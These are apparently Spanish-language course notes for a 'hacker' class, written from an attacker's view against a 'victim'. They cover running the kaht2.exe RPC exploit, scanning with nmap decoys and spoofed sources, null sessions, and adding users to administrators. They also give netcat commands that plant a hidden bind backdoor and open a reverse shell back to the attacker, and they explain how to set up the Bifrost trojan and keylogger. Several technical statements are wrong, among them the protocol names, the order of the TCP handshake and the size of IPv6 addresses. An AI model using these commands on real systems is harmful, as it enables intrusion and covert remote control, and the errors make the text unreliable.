CURSO HACKER Y SEGURIDAD INFORMÁTICA

1.- ATAQUE CON EXPLOITS:

Existe un exploit llamado **kath2.exe** que vulnera un fallo del sistema operativo y devuelve la consola (cmd) o bien desborda al ordenador y lo reinicia. Este es el que utilizó el virus blaster.

hostname : ejecutar este comando en el cmd para saber el nombre de la máquina.

Utilización del kath2.exe:

kaht2.exe IPatacante IPvictima
kaht2.exe 192.168.0.106 192.168.0.107

Shutdown -a: Si lo ejecutamos en la consola, aborta un reinicio del sistema programado.

El exploit kaht2.exe explota los RPC que son servicios Remote Precedure Call y que utilizan el puerto 135

Para ver los puertos se usa en la consola la instrucción netstat:

netstat -an : muestra todos los puertos abiertos y cerrados.

Tipos de Exploits: existen 2 tipos de exploits: los 0Day y los Públicos:

0day: estos vulneran un error en los que todavía no se ha creado el parche
Públicos: Si existe el parche, pero puede utilizarse en ocasiones en los que el sistema no se ha actualizado y por tanto no ha corregido el error. Es decir, siguen sin parchearse.

www.milw0rm.com es una web en la que viene un montón de exploits y para aprender más sobre ellos.

Existen diferentes tipos de **privilegios**. El que más tiene es el system que es el que utiliza el sistema operativo. Luego está el administrador, etc.....

Dentro de la página www.milw0rm.com existe lo siguiente:

a) exploits locales. Sirve para poder subir de privilegios. Se ejecutan con la intención de pasar de un privilegio de rango inferior a uno superior.
b) que significan las siglas:
R--> Busca exploits relacionados con el mismo.
D--> Descarga el exploit
X--> Prueba el exploit en el navegador.

2.- TRANSFERENCIA DE ZONA, WHOIS:

Existen 256x256= 65.536 puertos, que van desde el 0 al 65.535
Existen 2 protocolos de transporte: Los TCP y los UDP:
TCP: Transfer Control Protocol que tiene 65.356 puertos enumerados del 0 al 65.535

UDP: Uniform Datagram Protocol que tiene otros 65.536 puertos enumerados del 0 al 65.535.

TCP: Es un protocolo de sesión. Por cada paquete que envía, recibe un paquete de confirmación de que ese paquete ha llegado a su destino. De tal forma que es un protocolo seguro y no se cae, ya que si por cualquier razón se pierde la conexión o no llega, lo vuelve a intentar hasta que llegue. Por este motivo es lento, pero seguro.

UDP: Es un protocolo de transporte rápido. Envía paquetes, pero no espera a la confirmacón. Con lo que pueden perderse paquetes, pero gana en rapidez. Se suele utilizar para videos.

Los UDP están menos vigilados que los TCP por los firewalls, ya que como solo se suele utilizar para videos, pues no se les hace mucho caso y a penas se vigilan.

Los estandares de tráfico de redes es RFC.
(leer el manual en http://www.rfc-es.org/rfc/rfc0793-es.txt) o poner en google RFC TCP

Nota: Un servicio ocupado no lo puede ocupar otro servicio. Es decir, en un puerto no puede haber 2 servicios ejecutándose a la vez.

TIPOS DE CONEXIONES: 2 tipos:
1.- Directas. Un ejemplo es el exploit. El atacante se conecta con la víctima.
2.- Reversas. Es la víctima la que se conecta con el atacante.

1.- Conexiones Directas: La conexión con los puertos es tanto para entrar como para salir. Es decir, necesito un puerto para entrar y otro o el mismo para salir. Es decir, un mismo puerto puede utilizarse tanto para entrar como para salir.

Las entradas son vigiladas por el firewall, pero las salientes no. Esto es debido, a que los ordenadores se conectan a Internet a través del puerto 80. Si se tuviera que vigilar cada salida, el ordenador estaría todo el rato pidiendo permiso para ver páginas web y se haría lentísimo. Por eso no se vigilan las salidas.

2.- Conexiones reversas: Utilizamos los RPC (remote procedure call) (llamadas de procedimiento remoto) y se hacen a través del puerto 135

WHOIS: Lo primero que hay que hacer es conseguir información de la víctima y esto se hace a través de la herramienta whois. Todos tenemos o correo electrónico, o páginas web, un blog, facebook, etc... A través de Whois obtenemos información diversa a cerca de la víctima.

Whois funciona a través del puerto 43 TCP. Existen muchos servidores Whois que dan este servicio y programas que se conectan a los servidores whois y te permiten recopilar información y grabarla en mensaje de texto. Uno de ellos es el NetScanTools que es bastante bueno.

SERVIDORES DNS: TRANSFERENCIA DE ZONA

DNS: Domain Name Server. Estos servidores DNS, lo que hace es relacionar nombres con IPs. De tal forma que por ejemplo, cuando introducimos http://www.uam, existe un servidor DNS, que

traduce este nombre al IP donde esto es 150.244.9.200.

Estos servidores DNS pueden ser públicos o privados.
Los públicos, son los que todo el mundo puede acceder desde cualquier parte y los privados son los que pertenecen a la red privada de una determinada empresa. Una máquina en la uam, puede llamarse juan.martinez.uam.es y entonces, tiene que existir un servidor DNS privado que traduzca este nombre a su IP.

Una empresa en su red privada, puede tener más de una máquina que gestione sus DNS internos. Es decir, puede tener otra, como respaldo. Si la primera se cae, la segunda podría entonces funcionar como backup y así poder seguir funcionando los ordenadores en red. También una empresa podría tener más de 2, ya que puede ser que tenga tantos DNS que gestionar que necesite varios servidores DNS para hacerlo.

Estos servidores DNS internos, hacen transferencia de zona, Es decir, se van actualizando y se van pasando información entre ellos. Por ejemplo, si tiene un servidor DNS y otro de Backup, habrá una transferencia de zona entre ambos, para tenerlos actualizados.

Podemos utilizar estas transferencias de zona para obtener información de dichos nombres y sus IPs correspondientes. A través de Whois podemos obtener información sobre los servidores de una determinada empresa o persona. En este caso, en: https://www.nic.es/buscador-dominios/article/1482 introduciendo uam.es, nos proporciona los DNS públicos que tiene la universidad. En este caso, nos quedamos con el siguiente: 150.244.9.200

La tabla que relaciona nombres con IPs en los servidores DNS, tienen muchos más campos que los simples nombres y sus IPs, tiene datos de Correo electrónico (MX), Datos (A), etc, etc....

Existe una herramienta en la consola de windows llamada **NSLOOKUP** que nos permite hacer operaciones con los DNS. El inconveniente es que es muy limitada esta herramienta ya que no permite, por ejemplo, grabar a un archivo .txt y además, despúes del listado, solo se queda visible las últimas 999 líneas el resto no se pueden ver. Por este motivo, se recomienda para todo esto utilizar el programa antes dicho de NetScanTools.

De todas formas, expondré un ejemplo de como se **utiliza nslookup en la consola de windows**.
- Ejecutamos **CMD**
- **nslookup** (al darle a enter cambia el prompt, siendo “>” con lo que indica que estamos dentro de nslookup
- **server 150.244.9.200** (establezco el servido. Si no sale error es que es válido)
- **set type=any** (para establecer que queremos todos los tipos)
- **ls -d uam.es** (ls es de list y -d es un parámetro de filtración por uam.es)

De esta forma conseguimos los nombres y las ips del servidor 150.244.9.200

NETSCANTOOLS

Ir a la pestaña whois y apretar en setup para configurar. Click en default whois y dar en “...” . ahí elegir el servidor Whois que más te guste.
En transferencia de zona dar a Name server lookup. Luego a advqry y a setup.

El netscantools tiene una herramienta llamada TCP conect que sierve para ver si la victima tiene

abierto algún puerto en particular.

Para llamar a un determinado puerto, se puede usar la CMD de windows y ahí telnet:
telnet Ipdeseada Puerto
http get (ponerlo aunque no se vea).

Ejemplo: telnet 150.244.9.200 80
http get

El comando TCP es un paquete que tiene más de 20 datos y lo que hace es mandar un SYN activado al puerto de la victima. Ésta, si tiene el puerto activado, entonces le manda al atacante un ACK, y una vez recibido, la victima le manda un SYN/ACK para entrablar conversación. Es decir, los pasos serían los siguientes:

1.- Quiero hablar contigo (SYN)
2.- Puedo hablar contigo (ACK)
3.- Entonces hablemos (SYN/ACK).

Si el puerto estuviera cerrado, es decir, si no estuviera abierto, entonces la víctima le manda un RST/ACK, de tal forma que ahí quedaría la cosa y no habría conexión.
Así se puede ir viendo todos los puertos e ir sabiendo cuales están abiertos y cuales cerrados.
Problema: Es muy lento, ya que hay 3 fases. Además es muy ruidoso, ya que toca todos los puertos y pregunta a la víctima cuales estan abiertos. Es decir, hay una conexión con la máquina atacada ya que se le está preguntando acerca de los puertos. Hoy en día existen unas medidas que lo que hacen es que si la máquina atacada ve que una determinada IP está tocando todos los puertos o muchos de ellos, te ponen en una lista negra o te deniegan el servicio durante un tiempo determinado que puede ser de 5 minutos o más.

Ventaja: Muy fiable ya que se conecta a la ventana (puerto) de la máquina.

PROTOCOLO NAT:

NAT= Network address Translation

El NAT nació para unir redes y para distinguir los dispositivos dentro de la misma. es decir, re-direccionamiento.

El **protocolo de red IP**, se basa en que todos los dispositivos, sea cual sea, que puedan conectarse a una red tengan una IP con la cual conectarse. **IPv4** (IPversion4) signifca que las IPs son de 4 bytes. Esto significa que si 1 byte = 8 bits, la combinación posibles son 2 elevado a 8 que son 256. Luego a ser de 4 bytes, la extensión de las Ips son: 0-255.0-255.0-255.0-255, es decir: 1byte.1byte.1byte.1byte.
El rango va de 0-255, porque en informática se empieza a contar desde 0.
Estos 4bytes, dan 65356 x 65356 combinaciones diferentes de IPs, insuficientes hoy en día para satisfacer a todos los dispositivos que se conectan a Internet a la vez

Una solución fue crear otro protocolo IPv6 (IPversión 6) que se basa en vez de una combinación de 4 bytes, en una de 6bytes. Y además en vez de decimales, hexadecimales, lo que multiplica las posibles combinaciones posibles, superando con creces, la cantidad de dispositivos que existen hoy en día conectados a Internet.

El problema de su implantación es la comunicación entre los IPv6 y los IPv4 entre otras cosas. Para muchos ordenadores y servidores antiguos, hacer tal migración supone un elevado coste. Lo que no quita que las versiones de windows nuevas, te permita establecer ese protocolo en caso de necesitar usarlo.

Pues sin tener que acudir al IPv6, se ha llegado a otra posibilidad. Crear la NAT.

La **NAT** lo que hace es que usando Internet el IPv4, cuando llega a una intranet o red privada, la NAT da unas nuevas IPs a todos los dispositivos de esa red privada. Estos empiezan por lo general por 192.168 . Este 192.168 se quita de Internet y se reserva para este fin.

¿Como funciona entonces?. Pues muy sencillo. Dentro de una empresa, podría existir 256x256 dispositivos, ya que la NAT les asignaría la combinación de los últimos 2bytes ya que los primeros siempre empiezan por esos 192.168 (sacados de Internet y reservados para este fin).
Es decir, en una empresa con 3 dispositivos, estos podrían ser: 192.168.1.2, 192.168.1.3 y 192.168.1.4. Se reserva el 192.168.1.1 para la puerta de enlace que hará que la NAT, traduzca todos estas IP privadas a la IP pública que tiene asignado ese router. Es decir, la empresa cara al exterior puede tener una IP asignada 150.244.9.200, pero cara al interior, a todos los ordenadores se les asigna una IP de la forma 192.168._._ . Esto permite, que cada empresa pueda tener las mismas 192.168._._, ya que al ser privadas, se quedan en el ámbito de la empresa o red privada. Gracias a esto, se soluciona la escasa IPs que existen en el protocolo IPv4.

La NAT lo que hace y para poder dar la información que pide cada ordenador de la red privada, es crear una tabla IPprivada que relaciona los ordenadores con la información que piden a internet, para que cuando llegue por la IP pública, pueda devolverles la información que corresponde a los diferentes ordenadores a través de la IP privada de cada uno y que se guarda en esa tabla.

NETCAT:

Es un programa creado por un tal hobbit (así se hace llamar en la red) que permite entre otras cosas:

conexiones directas y reversas
poner aplicaciones a la escucha
escanear puertos
transferir ficheros
negociar conexiones telnet
….....
….....

El único inconveniente de este programa es que no cifra las conexiones, con lo que un administrador de sistemas puede ver lo que se está haciendo.

Existe otro programa que es como el Netcat pero con cifrado que se llama **RYPTCAT**

CONEXIÓN DIRECTA:

NETCAT es un programa que es cliente y servidor a la vez. por tanto para proceder al ataque es necesario que se ejecute tanto en el ordenador del atacante como en el ordenador de la víctima, o por lo menos en el ordenador de la victima, ya que el atacante podría utilizar otros programas como telnet.

Así que requisito imprescindible es que se ejecute en la victima.
Para ello hay que definir una puerta trasera.

VICTIMA:
hay que abrir un puerto en la victima. Para ello hay que ejecutar el siguiente comando en la CMD de la víctima:

nc.exe -d -L -p 3000 -t -e cmd.exe

-d: es para que se oculte y aunque se cierre la consola siga funcionando el NETCAT
-L: pone el puerto a la escucha
-p: indica el puerto que se quiere abrir. En este caso sería el puerto 3000
-t: para que negocie telnet y me pueda conectar a la victima a través de telnet
-e: para indicar que determinada aplicación se ponga a la escucha. En este caso la aplicación que ponemos a la escucha es la cmd de la victima.

En linux sería todo igual, excepto que la aplicación que ponemos a la escucha, no sería cmd.exe, sino **/bin/bash** (que es lo que equivale en linux a la cmd de windows).

ATACANTE:
Podríamos utilizar telnet para conectarnos a la victima o bien a traves de netcat.

A través de netcat:

nc.exe -v IPvictima Puerto (en este caso el puerto sería 3000)

-v: significa verybox, que es cantidad de información que se quiere mostrar. Si se pusiera -vv sería very,very. Podría ponerse hasta 8 v, es decir: -vvvvvvvv

A través de telnet:

telnet IPvictima Puerto

CONEXIONES REVERSAS:

Es cuando logramos que la victima se conecte al atacante. Es mucho más fácil, ya que al ser la víctima la que se conecta, se crea ya un canal de comunicación. Como las salidas se vigilan menos que las entradas, la conexión de la victima a nosotros, se vigila muchísimo menos que si fuera al revés.

En este caso, es el atacante el que tiene que poner un puerto a la escucha y el atacante tiene que intentar que la victima le envíe su CMD.

1.- Se configura primero al atacante:

nc.exe -v -L p 4000

2.-. Se configura a la victima. Hay que hacer que nos envie la CMD:

nc.exe IPatacante 4000 -e cmd.exe

ESCANEADORES DE VULNERABILIDADES:

Las herramientas más utilizadas son: Nexus, Retina y SSS.

¿Cómo se buscan las vulnerabilidades?:

Primero, antes de llegar al servidor, las empresas grandes tienen un primer firewall, llamado de **contención**. Este primer firewall, sirve para repeler la mayoría de los ataques. Tras de él, aparece el servidor web, las DNS y la LAN. A estos 3 se les conoce como la **zona desmitarizada** (DMZ). Tras esta zona, hay otro firewall llamado **Bastión**. Una vez este, se acede a toda la intranet y a la información importante de la empresa. Es decir, en la zona DMZ, se encuentra la información que la empresa da al público y que la protege para evitar la caida del servidor por los ataques a las que puede estar sometida. Tras el firewall de bastión, ya si se encuentra la información interna, privada e importante de la empresa.

Cuando una empresa da sus servicios a través de su servidor, tiene que abrir unos puertos para ello. Estos puertos se conocen como **well know ports**. Van del puerto 1 al 1023.
Muchos son estandares, como los siguientes:
Puerto 80: para las webs. Las peticiones entran a través de este puerto. Cuando tu poner www.google.com, a google le entra la petición a través del puerto 80 que tiene abierto. Si por ejemplo, pusiera el puerto 3000 para la web, al no ser estandar, los navegantes, para conectarse a google, tendría que poner www.google.com:3000

Puerto 110: Para leer el correo.

Puerto 25: Para enviar el correo.

Estos puertos son las ventanas abiertas del DMZ y son las únicas puertas de entrada. Hay que descubrirlas y ver si tienen alguna fisura o fallo y utilizarlo para entrar.

Si las empresas tuvieran cerrados dichos puertos, las personas no podrían conectarse a su servidor y dar la información, no podrian enviar correo, recibir correo, etc. Lo que si podrían es conectarse a internet, ya que cerrando los puertos evitamos las entradas, pero no las salidas a internet. Es decir. El router enruta, de tal forma que enruta al ordenador a internet. En tal caso, solo se podría entrar, a través de un ataque reverso, es decir, siendo la victima el que se conecta al atacante, porque así se establecería un túnel de comunicación que se podría utilizar para atacar.

Existen ataques de denegación de servicio (Denial of service o **DoS**) y consiste en hacer muchas peticiones consecutivas a un servidor y mal configuradas para que supere el número de peticiones que puede procesar y hacer que deje de funcionar. Cuando esto se hace con muchos ordenadores de todo el mundo, se le conoce como denegación de servicio distribuida (**DDoS**) y se hace mediante ordenadores zombi, que son ordenadores que controlan los hackes de otras personas sin que estas sepan que son zombis, mediante programas troyanos instalados en los mismos. Ver artículo muy interesante

¿Cómo descubrimos dichos puertos?. Pues mediante escaners de puertos.
Existen muchos, pero el mejor y más conocido es el **nmap**. Es el que utiliza el FBI. Hoy por hoy es el mejor.

TRACEROUTE:

Con traceroute lo que hacermos es un trazado de ruta que nos permite ver que es lo que hay antes de llegar a la IP destino. Es decir, averiguar por qué máquinas pasa hasta llegar a la IP que buscamos.
Un traceroute es necesario y es una buena forma de tener una idea, ya que todas esas máquinas son puertos a los que podemos acceder, escanear y entrar.

Para hacer dichos trazados de ruta, podemos utilizar la herramienta ICMP que se encuentra dentro del conjunto de herramientas llamadas Netscantools. En el ICMP apararece un campo llamado TTL (Time to live) que es el tiempo de vida del paquete. Está bien para que si en ese tiempo no se ha conectado a la máquina, pasa a otro, o bien cesa en su tarea y así no se eterniza.
En linux, el programa se llama Tracerouter.

NMAP:

Existen tanto Nmap para Windows como para Linux. Son interesantes los 2 ya que en windows aparecen las instrucciones en código cmd y en linux, porque es mucho más rápido que en windows. Nmap se puede bajar de www.insecure.org . Para bajarte Nmap para windows pincha aquí. El creador de esta web es un tal Fyodor que hizo posible el proyecto que ellos llevan. Yo recomiendo utilizar el Nmap de windows y ver como se forman las instrucciones y una vez sabiendo cuales son, apuntarlas y ejecutarlas en linux, ya que va mucho más rápido.

Para poder funcionarlos, se necesitan tener las librerias instaladas. En windows, la librería se llama winpcap y en Linux libpcap.

Si faltase alguna dll, se puede obtener del siguiente enlace: http://www.dll-files.com .
Si quieres ver el manual del programa pulsa aquí.

Nmap es muy versátil, ya que puedes poner IP, rangos de IP, asteriscos al estilo 192.168.*.*

Existen 3 tipos de clases: Clase A: 8, Clase B: 16, Clase C:24
Las clases no son más que los campos que dejas fijos en las IP, es decir.
La clase A: fijaría el primer campo de la IP, esto es 192.*.*.*
La clase B: fijaría el primer y segundo campo. Es decir 192.168.*.*
La clase C: fijaría el primero, el segundo y el tercer campo, esto es 192.168.0.*

Ejemplo: Una clase C, se escribiría así: 192.168.0.0/24 (en este caso, quedarían libres solo 1byte ó 256 bits libres 0-255). Es clase C:24, porque se quedan 3 bytes fijados y como cada byte esta compuesto de 8 bits, pues 3x8=24.

Utilización del NMAP:

De los parámetros de escaneo, los mejores son el conect y el syn.

El conect es el explicado ya anteriormente de las 3 fases.

El SYN, es más sigiloso y más rápido ya que solo tiene 2 fases: Se manda un SYN a la victima y si esta responde, porque tiene el puerto abierto, ya responde con una conversación, es decir, ésta manda un SYN/ACK.

Existe otro que es el FIN, que lo que hace es mirar si un puerto está cerrado y así averigua si está abierto. Es decir, manda un Stealh (pregunta si el puerto está cerrado) a la víctima. Si el puerto está cerrado le responde un RST/ACK y si no dice nada, entonces es que está abierto. Es más sigiloso, ya que no entrabla conversación con la máquina.

Hay máquinas, que tienen configurado el firewall para bloquear el ping que les hagan. Esto lo consiguien mediante el ICMP que lo bloquea. ¿por qué?, pues para evitar que la gente haga ping con paquetes muy grandes y mal formados y conseguir bloquear la máquina y por tanto crear una puerta trasera a través de la ICMP.

Paquete ICMP:

Es un paquete que contien data, de tal forma que un hacker puede montar un ataque a través de un **netcat** basado en un ICMP dentro del data que lleva y crear una puerta trasera.
Para evitar esto, se quita el Ping del firewall.

ICMP es el protocolo. Dentro de él hay 13 tipos de paquetes.. Si por ejemplo, tiro el paquete 13 y tiene efecto, puedo llegar a tirar el cortafuego y llegar a la máquina: Puerto 13 – ICMP transtamp.

Nmap en Windows. Parámetros:

UPD Sacan para ver los puertos udp.
NullScan: Manda unpaquete con todo apagado.
Usedecoy: Son señuelos. Puesdo poner una IP distinta a la mía, para que crean que es otra. Se separan entre "comas", es decir: 192.168.0.203, mi IP, 192.168.0.210
Device: Es por si tienes más tarjetas de red, poner al que quieres utilizar en ese momento.
Source Address: Para poner otra IP y que no aparezca la tuya.
Tambien se puede poner la tarjeta en modo promiscuo, para captar toda la información de la red. Se suplanta otra IP de otro ordenador, para que crean que lo está mandando esa IP, y luego esa IP, recibe la información. El ordenador de la IP que has suplantado y que no mandó esa información, cuando la recibe la deshecha, ya que cree que no es suya. En cambio si tienes la tarjeta puesta en modo promiscuo, tu también recibes esa información. A la vista de todos, parece como si la otra IP hubiera solicitado dicha información.
Para hacer esto en linux, hay que hacer un clon con la instrucción DD.
Source post: Para decidir manualmente el puerto que quieres utilizar. Es decir, sirve para fijar un puerto.
Discover: Cuando escaneas máquinas, poner don't Ping, así no bloquean.
Option: Lo más importante es poner:

Framentation: Por si el escaner normal no funciona, hacerlo de forma fragmentada.
OS detection (para detectar el sistema operativo, es dedir, para que te diga que sistema operativo de la máquina se está escaneando)
Resume: En el caso de que baneen (te suspendan tu IP por un tiempo), el escaneo espera y luego continúa donde lo dejó.
Don't resolve: Si no quiero que me de datos de la máquina. Esto se hace si por ejemplo ya sabemos los datos y no queremos que se pierda tiempo en su obtención.
Debug: Poner Verbox (cantidad de información que se quiere obtener).

Files: Podemos poner en ficheros las entradas de IP que quiero escanear y así lo va cogiendo de ahí, y en salidas, puedo elegir un fichero donde se guardarán los datos. Así hago todo de forma automática y luego solo tengo que mirar los resultados.
Win32: Nada importante. Mejor olvidarlo.

La instrucción que pone debajo en nmap es la consecución de todos los ajustes hechos

anteriormente puesto en comandos para ejecutar en la CMD de windows o en la consola de linux: Es decir, es como si pusieramos en la CMD o consola de linux lo siguiente:

nmap –sS –PN –p 1-1000 t 2 150.244.9.200

-sS: scan y syn
-PN: no Ping, también se puede poner P0 (Esta instrucción es la antigua. La nueva ahora es PN)
-p: puertos: En este caso se elige que escanee los puertos comprendidos entre 1 y 1000
-t: el tiempo, la velocidad. En este caso hemos puesto 2
IP: La IP que queremos escanear. En este caso 150.244.9.200 que es la UCM, también se podría haber puesto www.ucm.es

Instrucciones de NMAP para Linux:

Hay que abrirlo como administrador. Para tener acceso como administrador hay que escribir en la consola lo siguiente: **sudo su**. Luego escribe tu contraseña de sesión.
Una vez bajado Nmap para windows y guardado Nmap en el escritorio, hay que instalarlo de la siguiente forma:

Apt-get install nmap

Nota: En linux, utilizando las flechas, por ejemplo la de abajo, aparece la última instrucción que escribiste y si le sigues dando te van apareciendo el resto. Muy útil para no tener que volver a escribir.
Nota: Si necesitas acceder a una carpeta, puedes utilizar el * para abreviar, es decir: para ir a documentos, puedes poner doc* o docu* o como quieras, seguido siempre del *

Nmap –sS –PN –p 1-1000 150.244.9.200-270

150.244.9.200-270, es una forma de decir que escanee esa IP y las IPs restantes. Es decir, de la IP 200 a la IP 270

nmap –sS –P0 –f –n –O –v T 3 200.115.130.66

TÉCNICAS DE ENUMERACIÓN
son todas aquellas técnicas cuyo objetivo es obtener información acerca de la victima

1.- COMANDOS NET: conjunto de comandos encaminados a obtener información y estructura de la red de la victima.

Microsoft por los años 80, creó un protocolo llamado Net Beui que está a nivel de aplicación. Microsoft, juntó el protocolo Net Beui con el protocolo IP y creó el protocolo Net Bios que distingue a los ordeandores de una red por su nombre e IP.

El Net Beui, tenía un fallo y era que solo distinguía a los ordenadores de la red por el nombre que se le daba. De tal forma que si a 2 ordenadores de toda la red, se les daba el mismo nombre, toda la red se caía. Por eso microsoft creó el protocolo Net Bios.

Los comandos NET es un conjunto de instrucciones que se comunican con la Net bios y que ayudan

a administrar la red. Por tanto, nos vamos a servir de dichas instrucciones para obtener toda la información de una red.

Dichos comandos se introducen a través de la consola CMD en windows.

si ponemos **net** y le damos a enter, nos sale las opciones para utilizar con este comando. Todos los comandos net lógicamente empiezan por net.

Podemos ver los diferentes grupos de trabajo que existen en la red y además qué ordenadores pertenecen a qué grupo

Podemos acceder al directorio ldap, es decir, es una base de datos que contiene un conjunto de objetos, siendo estos objetos, las cuentas de usuarios, los recursos compartidos, etc… Esta base de datos está en forma de árbol. En windows se llama active directory y en linux open Ldap.

Active directory: Creado por microsoft, crea un dominio de DNS, que conecta a todos los ordenadores de la red a este directorio activo.
De tal forma, que si un ordanador, se llama Pedro1 y pertenece a la empresa OpenSource, entonces, se le conoce al ordenador dentro de la red y debido a este active directory como Pedro1.opensource.es, siendo:
Pedro1= nombre del equipo
Opensource= arbol
Es. = bosque.

Con lo que el active directory, le da un DNS a este nombre dentro de su base de datos, es decir, le asignaría una IP (ejemplo: 192.168.0.33).

Esto fue una ventaja, ya que teniendo windows este directorio, permite a cualquier persona de la empresa, iniciar sesión en cualquier ordenador, ya que al meter su usuario y contraseña, se conectaría al active directory y ahí buscaría su cuenta para ofrecerle sus datos, su escritorio personalizado, etc….
Sin este active directory, esa persona estaría condenada a usar siempre el mismo equipo.

(Para los ejemplos que voy a utilizar posteriormente, llamamos Taller al grupo de trabajo y taller 1 o taller 6 o taller x al ordenador dentro de ese grupo. Taller 1, haría referencia al ordenador 1 del grupo taller).

net view = para ver los equipos de la red del mismo grupo de trabajo.

net view /domain = para ver los dominios y grupos de trabajo

net view /domain:grupo de trabajo o dominio = sirve para ver los ordenadores que pertenecen a un grupo de trabajo determinado. Ej: net view \\taller

Net view \\nombre maquina = para ver los recursos compartidos de esa máquina. Ejemplo: net view \\taller 6.

Null sesion: Se trata de crear una sesión con un usuario inexistente. De esta forma, si consigo compartir un recurso en la red poniendo este usuario inexistente, consigo poder acceder a ese grupo de trabajo y/o máquina, ya que estoy compartiendo un recurso con ellos y así puedo hacer un net view de la máquina que quiero ver.

net use = para compartir cosas en la red

net use \\taller1\IPC$ “”/user: “”

Siendo taller 1 la máquina que no puedo entrar.
IPC$ recursos en red. (el signo $ es porque está oculto)
Ahora si hago un net view \\taller1, ya si me sale y puedo ver la máquina.

ENUMERAR USUARIOS Y SERVICIOS

Para poder enumerarlos, hay que estar dentro de la máquina. Si no estamos dentro, no podremos enumerarlos.

net users = para saber los usuarios de una máquina.

Crear usuario: **net users nombre * /add**
siendo nombre el nombre del usuario que queremos añadir ej. net users pepe * /add
Con el asterisco lo que hacemos es asignarle un password que nos pedirá cuando demos a enter. Sin el asterisco, se creará el usuario sin password.

¿Con que privilegio se ha creado?. Pues no lo sabemos. Habrá que mirar que privilegio tiene y luego subirle de privilegios para tener acceso a toda la red.

Enumerar grupo de usuarios:

net localgroup : para ver los grupos de trabajo.
Net group : para ver sus dominios.
net localgroup administradores : vería dentro de los grupos, los usuarios que pertenecen a administradores.
Nota, si el grupo fueran más de una letra, habría que todo el nombre entre comillas para que tomase el nombre como un mismo grupo: ejemplo “administradores de sistemas”. Si pusiera administradores de sistemas, creería que preguntamos por el grupo “administradores”, grupo “de” y grupo “sistemas”.

Subir de privilegios a un usuario:
net localgroup grupo a subir /add nombre
net localgroup administradroes /add pedro
En este caso añadiríamos pedro al grupo de administradores. Para poder añadirlo, pedro debe de haberse creado con anterioridad. Para borrar, en lugar de add, poner delete.

Enumerar Servicios:

La diferencia entre servicios y procesos, es que los servicios están constantemente ejecutándose, de tal forma que siempre están haciendo algo, preguntando, etc…

net start : para ver los servicios que están iniciados
***net start nombreDelServicio** : Para iniciar un servicio
***net stop nombreDelServicio**: para parar dicho servicio.

***net send nombreEquipo mensaje** : para enviar un mensaje a un ordenador en la red.

ENUMERAR POR PROTOCOLO SNMP

SNMP = Simple Network Management Protocol

Sirve para ver el estado de una red. Conseguimos ver la red y todos sus componentes, es decir, todo lo que está conectado a la red. Recursos compartidos (impresoras, etc…), ordenadores, etc…

Funciona bajo cualquier dispositivo , siempre y cuando el fabricante del dispositivo lo haya integrado en él. A veces este protocolo hay que activarlo, porque puede estar desactivado.

Este protocolo está compuesto por 2 partes:

- Base de datos para cada dispositivo
- Compuesto por Traps. Los traps registra todos los eventos que han sucedido en el dispositivo.

Hay que ver si el SNMP está como proceso o como servicio. Si no estuviera, habría que instalarlo. Para ello, habría que coger el CD de windows, ir a panel de control, agregar y quitar programas y añadir componentes de windows. ahí ir a Management and monotorin tools y escoger los 2 que hay: el Simple Network Management Protocol y el WMI SNMP Provider.

Si no se inician los servicios, lo iniciamos. Aunque al instalarlos, se inician automáticamente

Hacemos un netstat –an para ver si están los puertos donde trabajan. estos son los UDP 161 y 162. Es decir, trabaja sobre el protocolo UDP en los puertos 161 y 162

Esta base de Datos se llama MIB y tiene forma de árbol, de tal forma que tiene unos nodos y unas ramas con unas hojas.
A las hojas y / o nodos se les identifica por el número y el nombre.
Al identificador de cada nodo y que le distingue del resto se le llama OID.

Por ejemplo, tenemos en un arbol 3 nodos. Para ir a él, el OID sería 1.4.3,
Significaría 1 el arbol troncal, 4, el nodo 4 y de ese nodo el nodo 3.

Ejemplo 1

1	2	3	4
1 2 3	1 2 3	1 2 3	1 2 3

get 1.4.2 accederíamos a todas las hojas del nodo 2 del nodo 4 del principal 1.
get next va a ir a la rama siguiente del arbol
walk : a partir de la rama que diga me muestra las demás.

Vamos a enumerar usuarios, servicios y recursos compartidos.

Existen 3 versiones de este protocolo. La normal es que sea la versión 2.
SNAP v1 : no tiene ningún tipo de seguirdad
SNAP v2 : Más segura y permite hacer sesión con el usuario propio de la máquina
SNAP v3 : Agrega la v2, pero además puedes añadir otros usuarios y cifrar las comunicaciones.

Hay que saber 2 cosas:
Que la comunidad, por defecto es Public.
El objeto.

Herramienta a usar snmputil

snmputil walk ip public A B ó C . Siendo A, B, C, lo siguiente:

A.- USUARIO:

.iso.org.dot.internet.private.enterprises.lanmanager.lanmgr-2.server.svUserTable.svUserEntry.svUserName

Ejmplo snmputil walk 200.300.123.54 public .iso.org.dot.internet.private.enterprises.lanmanager.lanmgr-2.server.svUserTable.svUserEntry.svUserName

B.- SERVICIOS:

.iso.org.dot.internet.private.enterprises.lanmanager.lanmgr-2.server.svSvcTable.svSvcEntry.svSvcName

C: RECURSOS COMPARTIDOS:

.iso.org.dot.internet.private.enterprises.lanmanager.lanmgr-2.server.svShareTable.svShareEntry.svSharePath

En CISCO, la estructura del arbol es diferente. Para ver su estructura para saber como llegar o bien los estándares de queda tipo de sistema, ir a www.snmplink.org O bien mirar en internet árboles MIB o MIB browser

ENUMERACIÓN TABLA NETBIOS:

Los ordenadores, siempre están hablando entre ellos y pasándose información. Es decir, están a la escucha, preguntando acerca de quién eres, que sistema tienes, etc…. Toda esta información se transfiere en formato talba y esta tabla se llama netbios.
Para saber a cerca de esta tabla y de cada componente y lo que significa, ya que viene en hexadecimal, pulsar aquí .
nbtstat : Para conseguir la tabla netbios

nbtstat –a nombre netbios de la máquina
nbtstat –A IP

UTILIZACIÓN DE BIFROST es del tipo keylogger (atrapa las pulsaciones de las teclas)

Es un troyano con una puerta trasera gráfica. Se conecta de forma remota a nosotros. Es una conexión reversa.
Además es capaz de capturar los registros de las teclas que pulsas, puedes manejar la consola de forma remota, cargar ficheros, subir ficheros, bajarlos, etc…

Puedes bajártelo de www.hacker-soft.net

El atacante es el cliente y la víctima es el servidor, ya que la conexión es reversa.

Funcionamiento:

Builder: Para generarlo.

Dynamic DNS / IP : aquí hay que poner la IP el atacante (es decir, la nuestra). Hay que poner la IP pública. Ojo, si la IP del atacante es dinámica hay que ir a alguna web que nos permita hacer un seguimiento de nuestra IP Dinámica. Es decir, necesitamos hacerla fija o fijarla para que en cualquier momento podamos utilizarla. Sitios web: www.MyIP.com , www.No-IP.com , www.dyndns.org .

Port: Puerto por el que queremos que salga. Para ello el bigfrost lo abrirá

